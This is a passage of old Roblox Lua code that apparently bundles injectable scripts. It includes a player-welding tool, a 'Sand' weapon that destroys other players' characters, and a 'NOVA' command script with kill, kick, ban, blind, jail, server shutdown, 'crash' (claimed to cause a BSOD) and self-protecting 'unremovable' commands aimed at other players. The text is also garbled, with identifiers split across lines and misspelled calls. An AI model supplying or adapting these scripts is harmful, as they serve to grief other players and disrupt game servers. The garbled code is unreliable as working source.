inv(v)
end
end
inv(chr)
chr:FindFirstChild("Humanoid").PlatformStand=true
chr:FindFirstChild("Head").CanCollide=false
chr:FindFirstChild("Torso").CanCollide=false
chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstC
hild("Torso").CFrame.p+Vector3.new(0,8,0))
chr:FindFirstChild("Head").CanCollide=true
chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else
wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end
wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")
wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-
0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
iff(v)
end
end
iff(mouse.Target.Parent.Parent)
Instance.new("ForceField",mouse.Target.Parent.Parent)
end
coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then
chr:FindFirstChild("Torso").Anchored=true
break
else
chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)
coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do
if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),mouse.Target.Parent.Parent,chr)
end
end
end
end
end
end)
function onKeyDown(chr,una)
key_down=mouse.KeyDown:connect(function(key)
key=string.lower(key)
app=function(tra)
if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then
rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
if(rmt~=nil)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(rmt)
end
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
cff(v)
end
end
cff(chr)
una=false
if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand
==true)then
pcall(function(chr)
chr:FindFirstChild("iMergeWeld"):remove() end,chr)
chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+
Vector3.new(0,8,0))
end
vis=function(pth)
for _,v in pairs(pth:GetChildren())do
if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=tra
end
vis(v)
end
end
vis(chr)
chr:FindFirstChild("Humanoid").PlatformStand=false
chr:FindFirstChild("Torso").Anchored=false
key_down:disconnect()
onKeyDown(chr,una)
end
if(key=="e")then
app(1)
elseif(key=="r")then
app(0)
end
end)
end
onKeyDown(chr,una)
end)
bin.Deselected:connect(function()
if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then
rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then
chr:FindFirstChild("Torso").Anchored=true
break
else
chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)
coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do
if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),rmt,chr)
end)]]
GaaraSource=[[
local Name=game.Players.LocalPlayer.Name
local workspace=Workspace
local player=game.Players[Name]
local char=player.Character
local Color=BrickColor.new("Pastel brown")
if script.Parent.className~="HopperBin" then
pcall(function() char.Gourd:remove() end)
Staff=Instance.new("HopperBin")
Staff.Name="Sand"
Staff.Parent=player.Backpack
m=Instance.new("Model")
m.Parent=char
m.Name="Gourd"
p=Instance.new("Part")
p.Locked=true
p.BrickColor=BrickColor:Red()
p.Material="Concrete"
p.Size=Vector3.new(1,1,1)
Cent=p
me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(1.2,0.4,1.2)
me.Parent=p
p.Parent=m
w=Instance.new("Weld")
w.Part1=char.Torso
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,0.25,-1)*CFrame.Angles(0,0,math.rad(35))
p=Instance.new("Part")
p.Locked=true
p.BrickColor=Color
p.Material="Concrete"
p.Size=Vector3.new(2,2,2)
p.Shape="Ball"
p.Parent=m
w=Instance.new("Weld")
w.Part1=Cent
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,1,0)
p=Instance.new("Part")
p.Locked=true
p.BrickColor=Color
p.Material="Concrete"
p.Size=Vector3.new(2,2,2)
p.Shape="Ball"
p.Parent=m
w=Instance.new("Weld")
w.Part1=Cent
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,-1,0)
Top=p
p=Instance.new("Part")
p.Locked=true
p.BrickColor=Color
p.Material="Concrete"
p.Size=Vector3.new(1,1,1)
p.Parent=m
me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(0.5,0.15,0.5)
me.Parent=p
w=Instance.new("Weld")
w.Part1=Top
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,-1,0)
p=Instance.new("Part")
p.Locked=true
p.BrickColor=BrickColor.new("Black")
p.Material="Concrete"
p.Size=Vector3.new(1,1,1)
p.Parent=m
me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(0.4,0.16,0.4)
me.Parent=p
w=Instance.new("Weld")
w.Part1=Top
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,-1,0)
p=Instance.new("Part")
p.Locked=true
p.BrickColor=BrickColor:Red()
p.Material="Concrete"
p.Size=Vector3.new(2,1,1)
p.Parent=m
me=Instance.new("BlockMesh")
me.Scale=Vector3.new(1.1,0.15,1.1)
me.Parent=p
w=Instance.new("Weld")
w.Part1=char.Torso
w.Part0=p
w.Parent=p
w.C0=CFrame.new(0,.75,0)
p=Instance.new("Part")
p.Locked=true
p.BrickColor=BrickColor:Red()
p.Material="Concrete"
p.Size=Vector3.new(2,1,1)
p.Parent=m
me=Instance.new("BlockMesh")
me.Scale=Vector3.new(1.29,0.15,1.1)
me.Parent=p
w=Instance.new("Weld")
w.Part1=char.Torso
w.Part0=p
w.Parent=p
w.C1=CFrame.new(0,0.1,0)*CFrame.Angles(0,0,math.rad(-40))
script.Name="Not A QuickScript"
script.Parent=Staff
end
Sword=script.Parent
function hint(msg,de)
for _,v in pairs(player:children()) do
if v:IsA("Message") then
v:remove()
end
end
local h=Instance.new("Hint")
h.Text=tostring(msg)
h.Parent=player
Delay(tonumber(de),function() h:remove() end)
end
ta={}
for _,v in pairs(player.Backpack:GetChildren()) do
if v.Name=="Sand" then
table.insert(ta,v)
end
end
if #ta==2 or #ta>2 then
ta[1]:remove()
end
Hopper=script.Parent
function Stream(mouse)
local b=Instance.new("Part")
b.BrickColor=Color
b.Reflectance=0
b.Transparency=1
b.Size=Vector3.new(2,2,2)
b.Shape="Ball"
b.CanCollide=false
b.TopSurface="Smooth"
b.Position=char.Head.Position
b.BottomSurface="Smooth"
b.Friction=0
b.Touched:connect(function(h) Hit(h) end)
local bo=Instance.new("BodyVelocity")
bo.maxForce=Vector3.new(9999,9999,9999)
bo.velocity=(mouse.Hit.p-char.Head.Position).unit*60
bo.Parent=b
b.Parent=Gourd
local Bo=b
while Bo.Parent and Up==false do
wait()
if mouse.Target and (Bo.Position-mouse.Target.Position).magnitude<7 then
Hit(mouse.Target)
else
Bo.CFrame=b.CFrame --BodyPosition anti-hax
bo.velocity=(mouse.Hit.p-Bo.Position).unit*150
end
local b=Instance.new("Part")
b.BrickColor=Color
b.Reflectance=0
b.Transparency=0.2
b.Touched:connect(Hit)
b.Size=Vector3.new(2,2,2)
b.CanCollide=false
b.Anchored=true
b.TopSurface="Smooth"
b.Parent=Gourd
b.CFrame=Bo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(
0,360)),math.rad(math.random(0,360)))
b.BottomSurface="Smooth"
Delay(0,function()
local p=b
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
pcall(function() Bo:remove() end)
end
function Def(mouse)
local b=Instance.new("Part")
b.BrickColor=Color
b.Reflectance=0
b.Transparency=0.6
b.Size=Vector3.new(15,15,15)
b.Anchored=false
b.Shape="Ball"
b.CanCollide=false
p=Instance.new("BodyPosition")
p.Parent=b
p.maxForce=Vector3.new(math.huge,math.huge,math.huge)
p.position=char.Torso.Position
b.TopSurface="Smooth"
b.Position=char.Torso.Position
b.BottomSurface="Smooth"
b.Touched:connect(function(h)
Hit(h)
end)
b.Parent=Gourd
while Up==false and b.Parent do
b.CFrame=char.Torso.CFrame
p.position=char.Torso.Position
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=Gourd
p.CFrame=char.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-
5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.5,0.5,0.5)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
wait()
end
pcall(function() b:remove() end)
end
function Bur(mouse)
if mouse.Target and game.Players:getPlayerFromCharacter(mouse.Target.Parent)
then
local m=mouse.Target.Parent
m.Torso.Anchored=true
for i=1,15 do
local p=Instance.new("Part")
p.Size=Vector3.new(i,1,i)
p.BrickColor=Color
p.Anchored=true
p.Transparency=i/14
p.CanCollide=false
p.Parent=m
local me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(1,1.1,1)
me.Parent=p
p.CFrame=CFrame.new(m.Torso.CFrame.x,m.Torso.CFrame.y-3.5,m.Torso.CFrame.z)
end
for i=1,10 do
for i=1,6 do
wait()
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=m
p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-
5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.25,0.25,0.25)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
m.Torso.CFrame=CFrame.new(m.Torso.Position)*CFrame.new(0,-0.5,0)
wait()
end
Hit(m.Torso)
Hit(m.Head)
end
end
function Shift(mouse)
if mouse.Target then
local mo=Instance.new("Model",char)
local h=mouse.Hit.p
local m=char
for i=1,15 do
local p=Instance.new("Part")
p.Size=Vector3.new(i,1,i)
p.BrickColor=Color
p.Anchored=true
p.Transparency=i/14
p.CanCollide=false
p.Parent=mo
local me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(1,1.1,1)
me.Parent=p
p.CFrame=CFrame.new(m.Torso.CFrame.x,m.Torso.CFrame.y-3.5,m.Torso.CFrame.z)
end
for i=1,15 do
local p=Instance.new("Part")
p.Size=Vector3.new(i,1,i)
p.BrickColor=Color
p.Anchored=true
p.Transparency=i/14
p.CanCollide=false
p.Parent=mo
local me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(1,1.1,1)
me.Parent=p
p.CFrame=CFrame.new(h)*CFrame.new(0,-0.5,0)
end
m.Torso.Anchored=true
for i=1,15 do
for i=1,6 do
wait()
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=mo
p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-
5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.25,0.25,0.25)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
m.Torso.CFrame=m.Torso.CFrame*CFrame.new(0,-0.6,0)
wait()
end
m.Torso.CFrame=CFrame.new(h)*CFrame.new(0,-1.5,0)
for i=1,11 do
for i=1,6 do
wait()
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=mo
p.CFrame=m.Torso.CFrame*CFrame.new(math.random(-5,5),math.random(-
5,5),math.random(-5,5))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.25,0.25,0.25)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
m.Torso.CFrame=m.Torso.CFrame*CFrame.new(0,0.5,0)
wait()
end
m.Torso.Anchored=false
mo:remove()
end
end
function Wave(mouse)
if mouse.Hit.p.x>char.Torso.Position.x then
Deg=-2
Fre=-60
else
Deg=2
Fre=60
end
local X=char.Torso.CFrame.x
for i=0,Fre,Deg do
wait()
local p=Instance.new("Part")
p.Parent=Gourd
p.Size=Vector3.new(2,1,workspace.Base.Size.z)
p.BrickColor=Color
p.Anchored=true
p.CFrame=CFrame.new(X,0,workspace.Base.Position.z)*CFrame.new(-i,0,0)
local m=Instance.new("BlockMesh")
m.Parent=p
m.Scale=Vector3.new(1,1.2,1.005)
Delay(0,function()
local p=p
local m=m
for i=1,9,0.25 do
m.Scale=m.Scale+Vector3.new(0,.25,0)
wait()
end
wait()
for i=1,9,0.25 do
m.Scale=m.Scale+Vector3.new(0,-.25,0)
wait()
end
p:remove()
end)
for _,v in pairs(game.Players:GetPlayers()) do
if v.Character and v.Character:findFirstChild("Head") then
if v.Character.Head.Position.y<(workspace.Base.Position.y+9.5) then
if v.Character.Torso.Position.x<p.Position.x+p.Size.x/2 and
v.Character.Torso.Position.x>p.Position.x-p.Size.x/2 then
Hit(v.Character.Head)
end
end
end
end
end
end
function Spike(mouse)
local Pos=char.Torso.Position
for ii=8,25,3 do
wait()
for i=0,360,360/12 do
local x = (ii) * math.sin(i) + Pos.x
local y = Pos.y-4
local z = (ii)* math.cos (i) + Pos.z
local brick = Instance.new("Part")
brick.Size=Vector3.new(1,1,1)
brick.Anchored=true
brick.BrickColor=Color
brick.Parent=Gourd
brick.CFrame = CFrame.new(x,y,z)
brick.Touched:connect(Hit)
local mesh=Instance.new("CylinderMesh")
mesh.Parent=brick
Delay(0,function()
local p=brick
local m=mesh
for i=1,8 do
m.Scale=m.Scale+Vector3.new(0,.25,0)
p.CFrame=p.CFrame*CFrame.new(0,0.25,0)
wait()
end
for i=1,10 do
p.Transparency=i/10
wait(0.05)
end
p:remove()
end)
end
for _,v in pairs(game.Players:GetPlayers()) do
if v.Character and v.Character:findFirstChild("Torso") and
(v.Character.Torso.Position-Pos).magnitude<ii then
Hit(v.Character.Torso)
end
end
wait(0.08)
end
end
function Coffin(mouse)
if mouse.Target and game.Players:getPlayerFromCharacter(mouse.Target.Parent)
then
me=mouse.Target.Parent
Delay(0,function()
while me:findFirstChild("Torso") do
wait()
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=me
p.CFrame=me.Torso.CFrame*CFrame.new(math.random(-8,8),math.random(-
2,5),math.random(-8,8))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.35,0.35,0.35)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
end)
BP=Instance.new("BodyPosition")
BP.maxForce=Vector3.new(math.huge,math.huge,math.huge)
BP.position=me.Torso.Position+Vector3.new(0,2,0)
BP.Parent=me.Torso
b=Instance.new("Part")
b.Size=Vector3.new(8,1,8)
b.BottomSurface="Smooth"
b.TopSurface="Smooth"
b.BrickColor=Color
b.CanCollide=false
m=Instance.new("BlockMesh")
m.Parent=b
m.Scale=Vector3.new(1,0.5,1)
b.Parent=me
b:BreakJoints()
w=Instance.new("Weld")
w.Parent=b
w.Part0=me.Torso
w.Part1=b
w.C0=CFrame.new(0,-3.5,0)
for i=1,7,0.25 do
wait(0.075)
m.Scale=m.Scale+Vector3.new(0,0.25,0)
w.C0=w.C0*CFrame.new(0,0.25/2,0)
BP.position=BP.position+Vector3.new(0,.75,0)
end
for i=1,2-(0.5/5),0.25/5 do
m.Scale=m.Scale+Vector3.new(-.25/8,0,-.25/8)
wait(0.05)
end
Hit(me.Head)
Hit(me.Torso)
end
end
function Cage(mouse)
if mouse.Target then
pos=mouse.Hit
for ii=0,360,360/6 do
wait()
for i=0,360/10 do
local p=Instance.new("Part")
p.CFrame=pos*CFrame.new(math.cos(i)*8,math.sin(i)*8*3/i,0)*CFrame.Angles(math.rad(3
60/ii),math.rad(360/ii),0)
p.Anchored=true
p.BrickColor=Color
p.Parent=Gourd
p.Size=Vector3.new(1,4,4)
Delay(5,function()
p:remove()
end)
end
end
end
end
wep={Stream,Def,Bur,Shift,Wave,Spike,Coffin,Cage}
name={"Sand Stream","Manual Defence","Sand Burial","Sand Shift","Sand
Tsunami","Sand Spikes","Sand Coffin","Sand Cage"}
function CheckAdd()
if (Mode+1)~=(#wep+1) then
Mode=Mode+1
Hopper.Name=name[Mode].."("..Mode..")"
elseif (Mode+1)==(#wep+1) then
Mode=1
Hopper.Name=name[Mode].."("..Mode..")"
end
end
function CheckSub()
if (Mode-1)==0 or (Mode-1)<0 then
Mode=#wep
Hopper.Name=name[Mode].."("..Mode..")"
elseif (Mode-1)~=0 then
Mode=Mode-1
Hopper.Name=name[Mode].."("..Mode..")"
end
end
function KeyDown(key)
if key=="c" then
CheckAdd()
elseif key=="x" then
Mode=1
Hopper.Name=name[1].."("..Mode..")"
elseif key=="z" then
CheckSub()
end
end
Mode=0
Up=false
Sand=true
Hopper.Selected:connect(function(mouse)
Sand=true
Gourd=char.Gourd
mouse.KeyDown:connect(KeyDown)
mouse.Button1Down:connect(function()
Up=false
coroutine.resume(coroutine.create(function() wep[Mode](mouse) end))
end)
mouse.Button1Up:connect(function() Up=true end)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
Kill=char.Humanoid.Died:connect(function()
wait()
if char:findFirstChild("Head") then
m=char.Head
elseif char:findFirstChild("Torso") then
m=char.Torso
else
return
end
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.Transparency=1
p.CanCollide=false
p.Parent=char
local me=Instance.new("CylinderMesh")
me.Scale=Vector3.new(1,1.1,1)
me.Parent=p
p.CFrame=CFrame.new(m.CFrame.x,workspace.Base.CFrame.y,m.CFrame.z)
for i=1,100 do
local me=me
local p=p
wait()
me.Scale=me.Scale+Vector3.new(.5,0,.5)
p.Transparency=i/200 --100?
end
for _,v in pairs(game.Players:GetPlayers()) do
if v.Character and v.Name~=Name and (v.Character.Torso.Position-
p.Position).magnitude<51 then
pcall(function() Hit(v.Character.Head) end)
end
end
p:remove()
end)
while Sand do
wait(0.05)
local p=Instance.new("Part")
p.Size=Vector3.new(1,1,1)
p.BrickColor=Color
p.Anchored=true
p.CanCollide=false
p.Parent=char
p.CFrame=char.Torso.CFrame*CFrame.new(math.random(-7,7),math.random(-
2,5),math.random(-7,7))*CFrame.Angles(math.random(-360,360),math.random(-
360,360),math.random(-360,360))
p.Touched:connect(Hit)
local m=Instance.new("BlockMesh")
m.Scale=Vector3.new(0.15,0.15,0.15)
m.Parent=p
Delay(0,function()
local p=p
for i=1,5 do
wait(0.05)
p.Transparency=i/5
end
p:remove()
end)
end
end)
Hopper.Deselected:connect(function()
pcall(function()
Sand=false
Kill:disconnect()
end)
end)
function Hit(p)
if p.Parent.Name~=Name and p.Parent.Parent.Name~=Name and p.Name~="Base" and
p.Name~="Sand" and p.Parent then
Delay(0,function()
p.Anchored=true
p.Name="Sand"
p.BrickColor=Color
for i=1,5 do
p.Transparency=i/5
wait(0.1)
end
p:remove()
end)
end
end]]
NovaSource=[[
Version = "16.0"
Players = game:GetService("Players")
LocalPlayer = Players.LocalPlayer
Camera = workspace.CurrentCamera
script.Name = "NOVA"
script.Parent = LocalPlayer
Banned = {}
RandomNames = {}
Indexed = {}
Jails = {}
Sounds = {}
Removed = false
AntiFall = false
Commands = {
{Name = "kill", Desc = "Kills the player.", Args = "<Player>"},
{Name = "kick", Desc = "Removes the player from the game.", Args = "<Player>"},
{Name = "ban", Desc = "Removes the player from the game forever.", Args =
"<Player>"},
{Name = "(un) punish", Desc = "ReParents the player's character.", Args =
"<Player>"},
{Name = "nil", Desc = "Sets the player's character to nil.", Args = "<Player>"},
{Name = "nova", Desc = "Clears the workspace using NOVA Clear.", Args = "No
Arguments"},
{Name = "m", Desc = "Makes a message in workspace with the following string.", Args
= "<String>"},
{Name = "walkspeed", Desc = "Sets the player's speed to the number.", Args =
"<Player><number>"},
{Name = "c", Desc = "Creates a pseudo script in workspace.", Args = "<Source>"},
{Name = "local", Desc = "Creates a local pseudo in the LocalPlayer's backpack.",
Args = "<Source>"},
{Name = "(un) ff", Desc = "Creates or removes a forcefield from the player.",Args =
"<Player>"},
{Name = "inf", Desc = "Sets the player's health to math.huge.", Args = "<Player>"},
{Name = "lockh", Desc = "Locks the player's health to the max health.", Args =
"<Player>"},
{Name = "god", Desc = "Kills anyone who touches the player's torso.", Args =
"<Player>"},
{Name = "expl", Desc = "Creates an explosion at the player's torso.", Args =
"<Player>"},
{Name = "teleport", Desc = "Moves a player to another player.", Args = "<Player>
<Player>"},
{Name = "freeze", Desc = "Anchors the player's character.", Args = "<Player>"},
{Name = "thaw", Desc = "UnAnchors the player's character.", Args = "<Player>"},
{Name = "(un) blind", Desc = "Blinds the player via GUIs.", Args = "<Player>"},
{Name = "shutdown", Desc = "Shuts down the server from usage.", Args = "No
Arguments"},
{Name = "info", Desc = "Outputs information about the player.", Args = "<Player>"},
{Name = "check", Desc = "Outputs information about the server.", Args = "No
Arguments"},
{Name = "(un) admin", Desc = "removes/Inserts the player in the admin list.", Args
= "<Player>"},
{Name = "lighting", Desc = "Edits values in lighting service.", Args = "<fog><end|
start|color>"},
{Name = "rtools", Desc = "Removes the player's tools.", Args = "<Player>"},
{Name = "nobp", Desc = "Removes the player's backpack.", Args = "<Player>"},
{Name = "ping", Desc = "Outputs message in random color.", Args = "<<Message>"},
{Name = "play", Desc = "Plays the sound.", Args = "<Name>"},
{Name = "stop", Desc = "Stops all sounds.", Args = "<Name>"},
{Name = "respawn / rs", Desc = "Respawns the player.", Args = "<Player>"},
{Name = "nuke", Desc = "nukes the player.", Args = "<Player>"},
{Name = "(un) jail", Desc = "(Un) Jail the player.", Args = "<Player>"},
{Name = "rhats", Desc = "Removes the player's hats.", Args = "<Player>"},
{Name = "trans", Desc = "Makes the player invisible.", Args = "<Player>"},
{Name = "visible", Desc = "Makes the player visible.", Args = "<Player>"},
{Name = "antilag", Desc = "Removes any message entering the player.", Args = "No
Arguments"},
{Name = "go", Desc = "Removes the player.", Args = "No Arguments"},
{Name = "nbc/bc/tbc/obc", Desc = "Sets the BuildersClub of the player.", Args = "No
Arguments"},
{Name = "sit", Desc = "Makes the player sit down.", Args = "No Arguments"},
{Name = "stand", Desc = "Makes the player stand up.", Args = "No Arguments"},
{Name = "(un) ps", Desc = "Sets the value of PlatformStand inside the player.",
Args = "No Arguments"},
{Name = "control", Desc = "Controls the player.", Args = "No Arguments"},
{Name = "up", Desc = "Sets the LocalPlayer's character to nil and removes the last
one.", Args = "No Arguments"},
{Name = "crash", Desc = "Much more powerful lag, can give BSOD", Args = "No
Arguments"},
{Name = "unremovable", Desc = "Nills the script and continues with the functions",
Args = "No Arguments"},
{Name = "rename", Desc = "Renames the player humanoid", Args = "No Arguments"},
{Name = "rlock", Desc = "Roblox lock a player", Args = "No Arguments"}}
function CreateScript(Source,Parent,Type)
if Parent == nil then print("Parent is required.") return end
if Type == "Normal" or Type == 1 then
elseif Type == "Local" or Type == 2 then
NS = script:Clone()
NS.Disabled = true
NS.Name = "NOVAPseudo"
S = Instnace.new("StringValue",NS)
S.Name = "source"
S.Value = Source
NS.Parent = Parent
NS.Disabled = false
end
end
--s
function Index(part)
pcall(function()
if part:IsA("Script") or part:IsA("LocalScript") then
table.insert(Indexed,part)
end
end)
end
workspace.DescendantAdded:connect(Index)
game:GetService("Players").DescendantAdded:connect(Index)
game:GetService("Lighting").DescendantAdded:connect(Index)
game:GetService("Debris").DescendantAdded:connect(Index)
game:GetService("ScriptContext").DescendantAdded:connect(Index)
function ClearChildren(Part)
for _,v in pairs(part:GetChildren()) do
v:Remove()
end
end
function makeSound(asd,Tab)
S = Instance.new("Sound")
S.SoundId = "http://www.roblox.com/asset/?id="..Tab.SoundId
S.Pitch = Tab.Pitch
S.Volume = Tab.Volume
S.Looped = Tab.Looped
S.Name = Tab.Name
table.insert(Sounds,S)
end
function PlaySound(Name)
for _,v in pairs(Sounds) do
if string.sub(v.Name:lower(),1,#Name) == Name then
v.Parent = workspace
wait(0.5)
v:Play()
end
end
end
function StopSounds()
for _,v in pairs(Sounds) do
v:Stop()
end
end
makeSound('Musics',{SoundId=27697713;Pitch=3;Volume=1;Looped=true;Name='Music for a
Film - Daniel Bautista'})
makeSound('Musics',{SoundId=27697743;Pitch=3;Volume=1;Looped=true;Name='Zero
Project - Gothic'})
makeSound('Musics',
{SoundId=27697277;Pitch=1.37;Volume=1;Looped=true;Name='Positively Dark -
Awakening'})
makeSound('Musics',{SoundId=27697735;Pitch=2;Volume=1;Looped=true;Name='Jeff
Syndicate - Hip Hop'})
makeSound('Musics',{SoundId=1015394;Pitch=1;Volume=1;Looped=true;Name='Wind Of
Fjords'})
makeSound('Musics',{SoundId=11420933;Pitch=1;Volume=1;Looped=true;Name='TOPW
(idk)'})
makeSound('Musics',{SoundId=11231513;Pitch=1;Volume=1;Looped=true;Name='Toccata and
Fugue in D minor'})
makeSound('Musics',{SoundId=27697719;Pitch=2.4;Volume=1;Looped=true;Name='Flight of
the Bumblebee - Daniel Bautista'})
makeSound('Musics',{SoundId=11060062;Pitch=1;Volume=1;Looped=true;Name='Fast-
Forward'})
makeSound('Musics',{SoundId=45819151;Pitch=1;Volume=1;Looped=true;Name='background
Song1'})
makeSound('Musics',{SoundId=27697707;Pitch=1;Volume=1;Looped=true;Name='Intro -
Daniel Bautista'})
makeSound('Musics',{SoundId=27697707;Pitch=2;Volume=1;Looped=true;Name='Intro
(fast) - Daniel Bautista'})
makeSound('Musics',{SoundId=5986151;Pitch=1;Volume=1;Looped=true;Name='Woman
King'})
makeSound('Musics',{SoundId=9650822;Pitch=1;Volume=1;Looped=true;Name='S4Tunnel'})
makeSound('Musics',{SoundId=11420922;Pitch=1;Volume=1;Looped=true;Name='DOTR'})
makeSound('Musics',
{SoundId=8610025;Pitch=1;Volume=1;Looped=true;Name='NerezzaSong'})
makeSound('Musics',{SoundId=35930009;Pitch=.9;Volume=1;Looped=true;Name='Troll'})
makeSound('Musics',{SoundId=1372260;Pitch=1;Volume=1;Looped=true;Name='Only one
lul'})
makeSound('Musics',{SoundId=8663653;Pitch=1;Volume=1;Looped=true;Name='Zen'})
function Color()
local Choice = math.random(1, 5)
if Choice == 1 then
return "Institutional white"
elseif Choice == 2 then
return "White"
elseif Choice == 3 then
return "Really red"
elseif Choice == 4 then
return "New Yeller"
elseif Choice == 5 then
return "Black"
end
end
function Nuke(Position)
local Sound = Instance.new("Sound", workspace)
Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
Sound.Volume = 1
Sound.Pitch = math.random(90, 110) / 100
Sound:Play()
local Sound = Instance.new("Sound", workspace)
Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
Sound.Volume = 1
Sound.Pitch = math.random(90, 110) / 100
Sound:Play()
for i = 1, math.random(5, 7) do
local ExplosionBall = Instance.new("Part",
game:service("Workspace"))
ExplosionBall.Name = "Explosion Ball"
ExplosionBall.formFactor = "Custom"
ExplosionBall.TopSurface = 0
ExplosionBall.BottomSurface = 0
ExplosionBall.Anchored = true
ExplosionBall.CanCollide = false
ExplosionBall.Size = Vector3.new(1, 1, 1)
ExplosionBall.BrickColor = BrickColor.new(Color())
ExplosionBall.CFrame = CFrame.new(Position)
ExplosionBall.Touched:connect(function(part) part:BreakJoints()
end)
Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
coroutine.wrap(function()
for i = 0, 1, 0.005 do
ExplosionBall.Transparency = (1 - i)
ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i *
250, i * 250)
ExplosionBall.CFrame = CFrame.new(Position +
(Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) *
i))
if math.random(1, 25) == 1 then
local Explosion = Instance.new("Explosion")
Explosion.Position = ExplosionBall.Position
+ (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) *
i)
